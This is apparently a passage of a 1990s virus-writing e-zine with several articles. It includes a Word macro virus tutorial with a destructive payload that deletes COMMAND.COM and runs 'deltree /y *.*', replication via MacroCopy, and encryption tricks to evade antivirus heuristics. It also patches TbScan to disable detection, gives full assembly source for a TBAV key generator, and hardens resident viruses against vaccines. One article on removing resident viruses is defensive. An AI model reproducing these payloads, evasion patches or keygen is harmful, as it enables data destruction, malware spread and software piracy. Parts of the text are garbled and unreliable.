procedures is the following:
Sub <macro_name> -> write here the macro code <' the comments are preceded by an apostrophe End Sub Example: Sub Stupid_Greeting ' This macro opens a dialog box and displays a message MsgBox "Hello World!" End Sub
The function procedures (aka functions) return a value, which may be passed as a parameter for other VBA procedure. This is its syntax:
Function (arguments) -> Instructions <' Commentaries End Function Example: Function AddAB(a,b) ' This adds the parameters a and b and returns the result ' in "AddAB" AddAB = a+b End Function
Of course, you can insert in a document as many macros as you need or want, there's no limit. Now that you've understood what a joint of macros is, we'll call it VBA module. This means that a VBA module is a joint of macros (sub and function procedures) which make up an Office document. The VBA language also works with objects; we can make references to other documents, graphics... inside the VBA modules. Objects have properties. For instance, the background color of an object is a property (aka attribute). Objects also have 'methods', which are the operations we can make with them (with the objects). VBA allows us to work with variables, and, as a structured programming language, it has the typical constructions of other languages:
þ 'For-next' bucles: Sub Counter Infect_Num=0 For Count=1 to 10 Infect_Num=Infect_Num+Count Next Count MsgBox "I reached the maximum infection number" End Sub
þ 'If-then' conditions: Sub Infect_Check If Infect_Num=0 Then MsgBox "File not infected" End Sub
þ 'With-end with' constructions (used for working perties of a certain object):
with
several pro-
Sub ChangeProperties With Selection .Font.Bold=True .Font.ColorIndex=3 ' Red color End With End Sub
þ 'Select case-end select' constructions: Sub Check_Infection Select Case Infect_Num Case 0 MsgBox "File not infected" Case is > 0 MsgBox "File infected" Case is < 0 Infect_Num=0 End Case End Sub
A very useful tool for working with the VBA language is the debuggin window. With it we can trace code, make corrections, and so on... one debugging technique consists on using flags for halting for a moment the code
execution with a MsgBox after each instruction, so we can analyze the contents of certain variables and/or instructions (albeit the VBA debugger is able to set break points for halting the code execution, too). Something very important, apart of this, are the arguments of a function procedure; as we've just seen, the structure of a VBA procedure is this:
Function (arguments) [...] End Function
These arguments may be constants, variables, or expressions. Anway, there are procedures which don't need any arguments:
Function Get_Name() Name=Application.UserName End Function
There are function procedures which always have a fixed argument number (up to 60). Other functions have some fixed arguments and other optional. Ok, and once the basics of VBA are clear for everybody, we can start learning something about the thing we're about to study: VBA viruses and trojans :-) The VBA language is very versatile, and this is basically due to two reasons: the first of them is its big facility of learning and use; as it's a high level language orientated to events (not to objects :) it's very easy to create complex modules without spending many time on it. The second reason is the extra large number of predefined functions it has, which make things much easier for us. We could even say a third reason, but it's really included in the previous one... and it's that we can use functions (or macros) of *automatic_execution*, so we can simulate some thingies which make eeeeven easier to write routines as autocopying, memory residency, etc), used by the 'normal' DOS viruses. Besides this, VBA has, as an exclusive feature, the PORTABILITY property, advantage, or however you wanna call it. VBA worxor under Windows 3.x, Windows95, WindowsNT, Macintosh, etc. this is: in every enviroment or OS in which we can run any version of the applications which support VBA. But don't expect so many facilities... :-) VBA is a language which adapts to the language of the application under it's running. This means that, if we have the spanish version of WinWord, the names of the predefined functions will be in spanish, so the two next macros will NOT be the same (the first one is written in spanish, and the second one, in english):
þ First macro (spanish): Sub Demo_Macro Con Selecci¢n.Fuente .Nombre="Arial" Fin Con End Sub
þ Second macro (english): Sub Demo_Macro With Selection.Font .Name="Arial" End With End Sub
This last macro would NOT work under our spanish version of WinWord... it would force a macro execution error, so it wouldn't do anything. And remember that VBA is an interpreted language (not compiled) so every execution error appears 'on the fly'. But... doesn't this have any solution? ... ... ... ... }:-) ... Sure! ;-) There are some functions, common to all the VBA versions, without depending on the language. For instance... the automatic macro AutoExec (which is executed when loading WinWord if it's stored in a template called NORMAL.DOT) would work under every VBA version. Maybe one of the first exercises we should do would be trying to write a multiplatform and multilanguage virus... but maybe it already exists... }:-) hehe... but let's go on with the tutorial. The next step, once we've analyzed the language syntax, we have to study the functions we need to use in our viruses. As this ain't a text about programming in general but a macro virus tutorial, we'll focus our attention to the automatic macros used by WinWord, implemented in WordBasic (but note: NOT in VBA). There are five special macros which execute automatically and which we'll have to care about: þ AutoExec: it's a macro which activates when loading the text processor, but only when it's stored in the template NORMAL.DOT or in the default application directory þ AutoNew: it activates when creating a new document þ AutoOpen: it activates when opening an existing document þ AutoClose: it activates when closing a document þ AutoExit: it activates when exiting the text processor For proving the potence and the versatility of these macros, we can have a look at the following code (by now we won't care about the language):
' Save this macro as AutoExit Sub Main If Application.Username <> "MaD_MoTHeR" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null"
' Btw... /y works for all the languages :-) End If End If End Sub
The macro above will check two things on exiting from WinWord: if the registration name is equal to MaD_MoTHeR, it will delete COMMAND.COM; and if the system date is equal to february 29th (only for leap years) :-) it will do a deltree /y *.* > null, and i guess you all know what does this DOS command do, right? };-) Ok, now you're supposed to have a big enough knowledge to face the next and last chapter of this tutorial: replication. It's the most important thing for writing viruses, don't you think? :-) The unique thing we must know is how can we adapt an automatic macro (this is the simplest example) in order to install it in the template which is opened by default by WinWord. This is done by following the next steps... first, define a variable which stores the complete macro name:
name$ = WindowName$() + ":AutoNew"
And then, all our work is to write this simple instruction:
' This macro will be executed ' every time a new document is ' created
it into the template NORMAL.DOT with
MacroCopy name$, "Global:AutoNew"
Quite easy, isn't it? :-) Anyway, this is the general way in which macro viruses work, but there are lots of cooler ways to infect... all it takes is a little bit of imagination and additional code. One of these things which make your viruses cooler and difficult their analysis is the macro encryption... and it's easier than the replication!!! :-)
MacroCopy "MyTemplate:MyMacro", "Global:AutoClose", 1
If you execute the MacroCopy function passing 1 (or any other number unless 0) as parameter, the result of the copy will be an only executable macro, so we won't be able to edit it! :-) And this is all you need for becoming a macro virus writer... practice, research, and try to write something really original. Btw, there's a virus sample i wrote included in '29A virii'. It's a supertiny and supersimple macro infector which contains a little payload :-) Don't forget to have a look at it!
(@) MaD MoTHeR TeaM - 1996
Deactivations *************************************************************************> Blade Runner The deactivation of a virus in memory is a standard process, and very easy in deed. Anyway, i'm conscious that many of you aren't that intelliigent, so i'll explain it clearly *step_by_step*; this is, those of you who have a bit more knowledge may just give it a look, or skip the whole article. Mmmh... let's see... first introduce this briefly :)
thing is the virus to be resident... :) Let's
A virus, in order to stay resident, has to change interrupt vectors so these point to it. In other words, a virus that hangs off int 21h, will change ES and BX when calling int 21h func 35h, or otherwise it will do this directly on 0000:(int#*4). Knowing the virus keeps the old vector addresses in its code, it is obvious that we'll have to look where it keeps them and replace them on the interrupt vector table. Once we know the theory, let's see it practically. Above all, we'll have to find a tool for our job. I personally use debug (as you can see, i use it for everything) :) but you'll prefer AVPUtil or some other new colorful user friendly debugger. I even sometimes use a little program written by myself which is very useful for these kinda situations. Well, then we start. First step is to know the memory status, by means of int 21h function 35h (get interruption vector). Here it is, done with debug:
C:\29A>debug -a100 1649:0100 mov ax,3521 1649:0103 int 21 1649:0105 -p AX=3521BX=0000CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000 DS=1560ES=0000SS=1560CS=1560IP=0103 NV UP EI PL NZ NA PO NC 1560:0103 CD21 INT 21 -p AX=3521BX=410DCX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000 DS=1560ES=0011SS=1560CS=1560IP=0105 NV UP EI PL NZ NA PO NC 1560:0105 8BFF MOV DI,DI -q
Then we look the values into ES and BX, which are segment and the offset of the interrupt vector. These are, in this case, 0011:410d. Ok, note it down or remember it and keep going :-) Now we have to pick a virus for our experiment. We'll use any of the Barrotes family, the typical lame viruses mutated with PCTewls ;-) For instance, Barrotes.1310.d... let's have a look at its payload and at what does Mr.Kaspersky tell us about it:
Virus MIKELON por MSoft°±² °±² °±² °±² °±²373k] °±² ÉÍ[þ°±²ÍÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²Topic °±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²
º B°±²otes fa°±²y °±² °±² °±² °±² °±² °±² º Í°±²ÍÍÍÍÍÍÍ°±²Í °±² °±² °±² °±² °±² °±² º Th°±² are da°±²rous m°±²y resi°±² paras°±² virus°±²On exe°±²on the°±² º in°±²t C:\CO°±²ND.COM°±²e Then°±²ey hoo°±²T 21h °±²infect°±² COM- °±² º EX°±²iles ar°±²xecute°±²hey co°±²n the °±²rnal t°±²string°±² °±² º "c°±²ommand.°±²". On °±²ary, 5°±²hey er°±²MBR se°±², hook°±² 1Ch, °±² º di°±²ay the °±²sage "°±²s BARR°±² por O°±²" and °±²ral ve°±²al lin°±² º °±² °±² °±² °±² °±² °±² °±² °±² º "B°±²otes.84°±²hits C°±²iles o°±² °±² °±² °±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º "B°±²otes.13°±²d" doe°±²t corr°±²MBR. O°±²stalla°±² it us°±²386 °±² º in°±²uction.°±² displ°±²the me°±²e: "Vi°±²MIKELO°±²r MSof°±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º °±² °±² °±² °±² °±² °±² °±² °±² º B°±²otes.Te°±².1303 °±² °±² °±² °±² °±² °±² º *°±²*******°±²***** °±² °±² °±² °±² °±² °±² º It°±²not dan°±²ous me°±² resid°±²encryp°±²parasi°±²virus.°±²hooks °±² º 21°±²nd writ°±²itself°±²the en°±² COM- °±²EXE-fi°±²are ex°±²ed. On°±² º in°±²llation°±²ts C:C°±²ND.COM°±²e. On °±²ember,°±²h it h°±² INT 1°±² º al°±²and cha°±²s the °±²codes °±²eys ar°±²tered.°±²s viru°±²ntains°±² ÈÍ<þ°±²±±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±² Test mode:
Analyzer
Warnings
CRC
ßßßßßßßßßßßßßßßßßßß C:\29A (Programs) ßßßßßßßßßßßßßßßßßßßß C:\29A bar1310d.com : virus Barrotes.1310.d detected.
Once we've seen the virus, we may start our work. For make it easier, we will use that little program i told you i sometimes use (CrackVir), written by myself... it's a program which intercepts int 21h function 4bh once a virus is memory resident; this is, the virus won't be able to infect though it will be completely operational. This is quite easy to do... my program saves the original int 21h vector values, and, after running the virus, it intercepts function 4bh, so the virus, if it uses 4b00h for infecting, won't be able to hit any file. What we're left with now is easy. We run AVPUtil, or even debug, and into the contents of int 21h, which is occupied by the virus. This we're left with 9f9c:017b (segment will vary). Then we'll have to from the beginning (9f9c:0000), and search 0011:410d, which was the ginal int 21h value (hex: 0D 41 11 00). With debug, we'll have to ourselves for it, whilst with AVPUtil we can leave him look for it:
look time dump orilook
Memory Dump: F2-save F3-text mode F4-HEX/ASCII F5-edit F7-find ÉÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ º9F9C:0103³[0D*41*11*00]55 01 18 D6 D0 0E D4 00 00 00 80 00 ³ º9F9C:0113³ D0 0E 5C 00 D0 0E 6C 00 D0 0E 94 B4 06 00 4D 5A ³ º9F9C:0123³ D4 01 0C 00 06 00 20 00 75 02 FF FF A8 00 54 0B ³ º9F9C:0133³ 89 19 58 08 A8 00 1E 00 00 00 06 00 00 00 50 31 ³ º9F9C:0143³ 2E 03 00 01 00 41 43 41 44 2E 45 58 45 10 00 00 ³ º9F9C:0153³ 02 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 2E 43 4F 4D ³ º9F9C:0163³ 2E 45 58 45 43 6F 70 79 72 69 67 68 74 20 28 43 ³ º9F9C:0173³ 29 20 31 39 38 38 2C 20 31 39 38 39 20 62 79 20 ³ º9F9C:0183³ 41 42 54 20 47 72 6F 75 70 2E 20 E3 08 00 00 EB ³
The search result is up there: int 21h is kept in 9f9c:0103 (103 the offset, 105, the segment). Now we have enough information so as to create a generic memory remover for this virus, which is rather easy to code.
Blade Runner/29A Los Angeles, 2019
Antiheuristics *************************************************************************> AVV We're used to the newest antivirus promising a total protection against unknown viruses, with what they call heuristics. And though being an important weapon against viruses, it isn't that safe they assure. We won't explain what heuristics are (it is just looking for several instructions common to all viruses, which will show their presence). Nevertheless, if we hide these instructions, the antivirus won't detect anything and will happily say there's no danger, when checking a modified version of Neuroquila, Tremor, Zhengxi, etc., which will be encrypted for these AVs. Technique is easy. We just have to use a simple encryption routine with which the antivirus will note nothing. AVP, F-Prot and ThunderByte recognize several encryption routines. Now, the following routine decrypts a previously encrypted code:
loop1:
lea mov mov xor stosb loop
di,enc_start ; ds:di -> first encrypted byte cx,enc_size ; cx has code's length al,byte ptr es:[di] al,0cfh ; we'll simply xor each byte ; and store it back loop1
This routine is easy to get caught by an antivirus, and will discover the hidden virus. But let's change slightly the routine:
loop1:
lea mov mov mov xor movsb loop
di,enc_start si,di cx,enc_size dh,0cfh byte ptr es:[di],dh loop1
This routine does exactly the same, but isn't caught by the heuristic scan of any antivirus, so no crappy AV will decrypt anything, and our virus won't be detected... :) If the programmer is careful of not using any garbage code, all the AVs will fail to detect any virus, no matter how famous it is... even Jerusalem! :) This demonstrates that heuristics are not as safe as they appear to be.
Greets, AVV.
TBAV: keys *************************************************************************> Plof TBAV itself is bullshit, but who wouldn't like to read his/her name on it as if we'd paid for it? :) Moreover, having it registered, we can access the exceptional virus information it offers to us }:) This generator works with TBAV 7.04, and I'm sure it also works with previous (and future) versions, since Frans Veldman hasn't changed the encryption schemes since TBAV 6.52 :) You can find the compiled executable file in \FILES. - - - - - - - cseg segment assume org
- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 para public 'codigo' cs:cseg,ds:cseg,es:cseg,ss:cseg 100h
begin: init
proc
near
; Prompt for the name to be registered to mov dx,offset pregunta mov ah,09h int 21h ; Name must be written by means of DOS mov ax,0A00h mov dx,offset registrador int 21h xor ch,ch mov bx,dx mov cl,[bx+1] cmp cl,02h ja principio mov mov jmp
dx,offset nombrecorto al,01h finalconmensaje
; Errorlevel=1 if short name
principio: ; Pop the name into what will be TBAV.KEY ; In CL we maintain no. of characters mov mov
si,offset registrador+2 di,offset nombre
moviendonombre: lodsb stosb loop moviendonombre ; Modify byte 11bh xor mov call push mov add
ax,ax si,offset nombre sumarnombre ax bh,06fh bh,ah
; Check first name
mov xor mov mov
si,offset nombre bh,[si] si,offset fichero+011bh byte ptr [si],bh
; Modify byte 11ch pop push mov add ror mov mov
ax ax bh,0f5h bh,ah bh,01h si,offset fichero+011ch byte ptr [si],bh
; Modify byte 118h pop push mov add mov mov
ax ax bh,02bh bh,ah si,offset fichero+0118h byte ptr [si],bh
; Modify byte 119h pop push mov add mov mov
ax ; Pop name check ax bh,0bah bh,ah si,offset fichero+0119h byte ptr [si],bh
; Modify byte 11ah pop push mov add xor mov mov
ax ax ; In case something's after it bh,0f4h bh,ah bh,03dh si,offset fichero+011ah byte ptr [si],bh
; Zero the registers pop xor mov mov
ax ax,ax bx,ax dx,ax
sumachequeo: mov mov
cx,01feh si,offset fichero
lodsb xor add loop mov
ax,0413fh bx,ax chequeo word ptr [si],bx
chequeo:
; Pop AX so there are no problems
encriptado: mov mov mov
si,offset codigo di,si cx,0080h
encrp: lodsw xchg xor add stosw loop
ah,al ax,cx ax,081f3h encrp
; Write the file ; Create and open the file mov mov int jnz
dx,offset nombredefichero ah,3ch 21h fichero_bien_iniciado
; If couldn't be created mov mov jmp
al,02h
; Errorlevel=2 if file couldn't be created ; tbav.key file dx,offset nocreado finalconmensaje
fichero_bien_iniciado: push
ax
; Handle
; write 512d bytes mov pop mov mov int
ah,40h bx dx,offset fichero cx,200h 21h
; Close file (BX still has the handle) mov int
ah,3eh 21h
mov mov
al,00h ; Right, errorlevel=0 dx,offset finalnormal
fin:
finalconmensaje: mov int mov int ; Subroutines sumarnombre:
ah,09h 21h ah,4ch 21h
; AL must have the errorlevel
lodsb test jz xor ror add call
al,al acabosenombre al,0a5h ah,1 ah,al sumarnombre
acabosenombre: ret ; Non executable portion fichero db db db db nombre db db db db db db db db db db db db codigo db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db suma dw
'Created by TBAVReg by Plof (/\/\adrid, 2-feb-96)' 'Move your fucking ass, Franzzz',0dh,0ah 'This key works on TBAV ' 'v7.04 and doesn''t expire until 2099. Look after me! 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;THE REGISTRATION 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;NAME IS PLACED 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;HERE (THERE'S 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;ROOM UNTIL LINE 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;0E0... HERE! :-) 000h, 01ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;................ 0a0h, 000h, 041h, 001h, 0afh, 092h, 04ch, 001h, 08ch, 0cch, 001h, 0b6h, 018h, 083h, 083h ;..A...L......... 006h, 001h, 0c9h, 007h, 034h, 020h, 0ffh, 0ffh, 01eh, 0dah, 036h, 074h, 0abh, 0d4h, 0d3h ;....4......6t... 0b7h, 0c0h, 0bbh, 054h, 058h, 072h, 02ah, 065h, 0e1h, 025h, 0c9h, 08bh, 054h, 02bh, 02ch ;...TXr*e.R%..T+, 048h, 03fh, 044h, 0abh, 0a7h, 08dh, 0d5h, 09ah, 0ffh, 000h, 000h, 02fh, 00ah, 001h, 003h ;H?D........./... 020h, 048h, 048h, 0cbh, 0f1h, 03ch, 091h, 043h, 056h, 02eh, 085h, 0a5h, 0a5h, 0a5h, 0a5h ;.HH..<.CVF...... 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 053h, 065h, 063h, 075h ;............Secu 072h, 069h, 074h, 079h, 020h, 076h, 069h, 06fh, 06ch, 074h, 069h, 06fh, 06eh, 03ah, 020h ;rity.violation:. 053h, 069h, 06eh, 067h, 06ch, 065h, 020h, 075h, 073h, 072h, 020h, 06bh, 065h, 079h, 020h ;Single.user.key. 06eh, 06fh, 074h, 020h, 076h, 061h, 06ch, 069h, 064h, 06fh, 06eh, 020h, 074h, 068h, 069h ;not.valid.on.thi 073h, 020h, 06dh, 061h, 063h, 068h, 069h, 06eh, 065h, 007h, 000h, 045h, 076h, 061h, 06ch ;s.machine!..Eval 075h, 061h, 074h, 069h, 06fh, 06eh, 007h, 020h, 06bh, 079h, 007h, 020h, 064h, 061h, 074h ;uation..key..dat 065h, 007h, 020h, 06ch, 069h, 06dh, 069h, 074h, 007h, 065h, 078h, 070h, 069h, 072h, 065h ;e..limit..expire 064h, 021h, 007h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ;d!............ ?
;-)',0dh,0ah 000h 0a0 000h 0b0 000h 0c0 000h 0d0 000h 0e0 000h 0f0 001h 100 0adh 110 052h 120 0ffh 130 046h 140 0a5h 150 0a5h 160 0a5h 170 0a5h 180 061h 190 065h 1a0 020h 1b0 021h 1c0 065h 1d0 020h 1e0 000h 1f0
nombredefichero db 'tbav.key',00h registrador nombrecorto
db db db db
4eh 50h dup (?) 13,10,10,'Name is too short' 13,10,10,10,'$'
nocreado
db 13,10,10,'File couldn''t be created',13,10,10,10,'$'
finalnormal
db 13,10,10,'Now copy TBAV.KEY into your TBAV ' db 'directory and enjoy ;)',13,10,10,'$'
pregunta
db db db db db
init cseg
13,10,'TBAVReg 0.9á Register key generator ' 'for the DOS version of TBAV',13,10,10 'Written by Plof (9-feb-96, /\/\adrid)',13,10,10 'Write the name you''d like to register TBAV to: ' 13,10,'>$'
endp ends end begin - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Greetz, Plof
TBAV: signatures *************************************************************************> Tcp Using the signature leaker from Virogen (Chiba City Times #2) i've done a little change for version 7.04 of TBAV. Changes are more than i expected firstly cause TBSCAN.SIG uses a different encryption in each version, i knew that... but i also had to modify a limitation of the program because that TbSig wasn't able to manipulate files over f000h bytes (in TBAV 6.50 it was already bigger than that, so the file extractor hanged). My program is included right in this issue under \FILES. To use it, just copy it into your TBAV directory and run 'xsig > file.ext'. The program will dump in this file all the signatures, but before looking anything in that file, you should know the meaning of the wildcards TBAV uses in its search strings; they appear in between the sigs with the format _38??_:
Description Signature ******************************************************************* Jump over n bytes and continue 388n Jump over nn bytes and continue, but nn < 7fh 388nn (1) Jump till n bytes 384n Jump till nn bytes and continue, but nn < 1fh 38nn (1) The value ranges from n0 to n7 382n The value ranges from n8h to nfh 383n CRC from 38cn to 38c0 and compare it to the following 2 38cn (2)
(1) The highest bit is set. If nn is greater cated, then the bit will not be set.
than the number above indi-
(2) This meaning is not in CCT#2, though it may be due to the fact that these wildcards weren't used then; since 6.50 it is present in all the strings. If the wildcard is above 38c0, TBAV calculates a sort of CRC sum ranging 38c?-38c0 bytes (for instance, 38d7 will mean it gets 17h bytes), and compares it to the next word in the string. Eg:
String : In file:
00 01 02 03 _38C3_ 33 44 00 01 02 03 04 05 06 07
In this example, TBAV would compare the 4 first bytes, which would pass; then it'd find _38c3_, which tells it to CRC sum the three next bytes: 04, 05, and 06. If the CRC is 4433 it will say so :) Btw, if someone is interested in knowing how to calculate this CRC, look for me in #virus on IRC and ask :)
Another thing ûirogen didn't notice is that, as 38h represents the wildcard, if we want to represent the 38h itself, we must use _3880_ ;) Nothing more then; if you want to take a look at the program or read some more about it, look in Chiba City Times #2.
Waiting for IP...
TBAV: antidetection *************************************************************************> Blade Runner Well, well, well... in this article, i'll show you all how to fuck TbScan TBAV 7.00; you'll see how 'difficult' it is ;-) There are some points that make it more vulnerable than previous versions, though it's true that i spent more time on this one. Anyway, it wasn't more than five minutes ;-D Let's see... get you all the GameTools. Those of you without them can use some other debugger which can capture interruptions on the fly. Let's start...
C:\29A>tbscan c:\virus.com
When TbScan starts checking, we stop it when reading the master boot and capture int 21h function 48h. As soon as it triggers, trace all the code till the first ret. Then we're interested in the following addresses:
15E8:3593: here starts the routine to fuck [...] 15E8:359B F607FF TEST Byte Ptr [BX],FF 15E8:359E 7415 JZ 35B5 ^^ ^^ 75 JNZ Well, we make this little change and continue... half of it heuristic checking.
15E8:35B8 81FB4A5A 15E8:35BC 72DD ^^ 77
CMP JB ^^ JA
we'll cancel the first
BX,5A4A 359B
All right, we've killed its heuristics (second half). Keep on going...
15E8:1065 803EA4FF06 15E8:106A 7206 ^^ 77
CMP JB ^^ JA
Byte Ptr [FFA4],06 1072
Again... we break the check changing Let's continue...
15E8:108D F7065084FFFF 15E8:1093 7408 ^^ 75
TEST JZ ^^ JNZ
the condition to the opposite one.
Word Ptr [8450],FFFF 109D
We're done with this last one. TbScan WILL NOT DETECT any damn virus; no matter if we have 8000 in our HD, it doesn't mind. If you will deep into this, here you have some windows with a bit more code, so you may get in place:
ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:3593 BF84FF MOV DI,FF84 º
º 15E8:3596 BB3458 MOV BX,5834 º º 15E8:3599 33C0 XOR AX,AX º º 15E8:359B F607FF TEST Byte Ptr [BX],FF º >>15E8:359E 7415 JZ 35B5 -> JNZ 35B5 << º 15E8:35A0 8A4701 MOV AL,[BX+01] º º 15E8:35A3 0006A4FF ADD [FFA4],AL º º 15E8:35A7 8A4702 MOV AL,[BX+02] º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:35AE 3AC4 CMP AL,AH º º 15E8:35B0 7403 JZ 35B5 º º 15E8:35B2 8AE0 MOV AH,AL º º 15E8:35B4 AA STOSB º º 15E8:35B5 83C306 ADD BX,+06 º º 15E8:35B8 81FB4A5A CMP BX,5A4A º >>15E8:35BC 72DD JB 359B -> JA 359B << º 15E8:35BE C3 RET º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:105B C606A4FF00 MOV Byte Ptr [FFA4],00 º º 15E8:1060 33C0 XOR AX,AX º º 15E8:1062 AA STOSB º º 15E8:1063 B007 MOV AL,07 º º 15E8:1065 803EA4FF06 CMP Byte Ptr [FFA4],06 º >>15E8:106A 7206 JB 1072 -> JA 1072 << ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:107D E80445 CALL 5584 º º 15E8:1080 F606195604 TEST Byte Ptr [5619],04 º º 15E8:1085 7406 JZ 108D º º 15E8:1087 C70650840000 MOV Word Ptr [8450],0000 º º 15E8:108D F7065084FFFF TEST Word Ptr [8450],FFFF º >>15E8:1093 7408 JZ 109D -> JNZ 109D << º 15E8:1095 B005 MOV AL,05 º º 15E8:1097 E8941B CALL 2C2E º º 15E8:109A E9E900 JMP 1186 º º 15E8:109D 803EA4FF40 CMP Byte Ptr [FFA4],40 º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Blade Runner/29A Los Angeles, 2019
Installation check *************************************************************************> The Slug No one does a resident virus with no installation check to see if it's already in memory; the problem is that many times this action can turn back to it. The most common form a virus has in order to check for its residence is by means of a call to a service in some interruption, normally inexistent that the virus creates for the occasion. When it gets to be executed, it calls the service with some kind of value in a register, and checks the answer for another one; if the value it expected gets returned, then it's memory resident; if not, it'll proceed. Here's where we build the typical lame program that will answer the installation checks of several viruses we want, being therefore immune to them... nasty, don't you think? }:) The following technique tries to make much i'll explain it with some detail:
more difficult this trick...
The start code for the virus remains the same, except that it generates a random number inside its own code; this number gets onto the interrupt service (BX, in this case). This is, we'd have something like this:
; *********************** virus body ************************************ start: sigins:
resid:
code
call pop sub . . . . . push xor mov mov add pop mov
sigins si si,offset(sigins)
mov int
ah,0aah 21h
cmp jne
ah,0bbh goon
mov cmp je jmp . . . . . ends end
bx,cs:[si+numbyt] cs:[bx+si],al aprog1 death
es bx,bx es,bx bl,es:[046ch] bx,84 es cs:si+numbyt,bx
start
; Check if it's resident ; BL <- random value
; Keep the value
; In case it's not resident ; Check if it's being tricked ; If it's really resident ; If it's being reicked
; ***********************************************************************
Now, we're just left with writing the part of the interruption service service which will return the byte's random value; in this case, 0bbh is returned in AH and the byte in AL:
; *************** interruption service (in int 21h) ********************* int_21h:
pushf cmp jne popf mov mov iret
sigue:
ah,0aah sigue
; Residence service
ah,0bbh al,cs:[bx]
; Already resident code ; Value of a code position
. . .
; ***********************************************************************
This way, each time we call the service, as well as asking for the code, it asks for the value at position x, being x a random offset inside its own code. Once this is returned we try to see if we've been correctly answered, otherwise... }:) NOTE: main code keeps a copy in a variable of the random value it generates, and that is what it uses to avoid being tricked by changing the value it passes by. Now, it isn't that easy the damn lame resident program, cause, at least, it must have a copy of the virus in memory; moreover, if we had variables in the middle of the code this wouldnt be exact, so the program wouldn't be safe at all, having also a random activation routine :)
uhmm, I love this job The Slug/29A
